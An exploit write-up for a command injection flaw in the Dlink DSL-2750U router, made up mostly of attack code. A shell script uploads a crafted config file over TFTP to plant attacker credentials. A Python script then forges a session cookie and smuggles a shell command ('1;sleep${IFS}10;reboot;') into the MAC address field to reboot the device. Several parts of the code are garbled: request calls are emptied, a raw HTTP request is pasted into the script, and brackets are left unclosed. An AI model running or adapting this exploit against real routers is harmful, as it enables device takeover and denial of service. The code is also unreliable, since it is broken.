Authored by Mohammed Hadi

Dlink DSL2750U suffers from a reboot command injection vulnerability.

# Exploit Title: Dlink DSL2750U - 'Reboot' Command Injection
# Date: 17-06-2021
# Exploit Author: Mohammed Hadi (HadiMed)
# Vendor Homepage:
# Software Link: Version: ME_1.16
# Tested on: firmware GAN9.ET235B-B-DL-DSL2750U-R5B028-ME.EN_2T2R*



# Exploit by HadiMed

# Takes advantage of the tftp server that accepts the cfg file blindly
echo -ne "n"
echo "Exploiting Dlink DSL-2750u version 1.6"
echo -ne "nn"

# Sending the payload
echo -ne "binarynput cfg.xmlnquit" | tftp
echo -ne "n"

echo "File uploaded Successfully"
echo "Waiting for router to restart"

sleep 180 # approximate time for router to restart



import requests

# HTTP request looks like this
POST /cgi-bin/webproc HTTP/1.1
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sessionid=deadbeef; language=en_us; sys_UserName=user; sessionid=634cdf91
Connection: close


# 1 Getting a session id

# password and username crafted by me on the cfg.xml file

username = "pwned"
password= "pwned"

# acually the client set the sessionid in condition that the password and username are correct

Cookie="sessionid=deadbeef; language=en_us; sys_UserName=pwned; sessionid=deadbeef"

# Sending first request to set our session id
response ="",
headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
data={ "getpage":"html/index.html",
"var:menu" : "setup",

Referer = ""

name = "mac"
cmd = "1;sleep${IFS}10;reboot;"

Contentlen = str(len(name+cmd)+10)

if response.status_code==302:
print("got sessionid=deadbeef !n waiting for the reverse shell ...")

# access cgi-bin/webupg
try :
response ="",
headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
,data = {"name":name , "newmac":cmd} , timeout=0.0000000001


except requests.exceptions.Timeout :

print("done router will restart in 20 sec")

print("Device restarted!")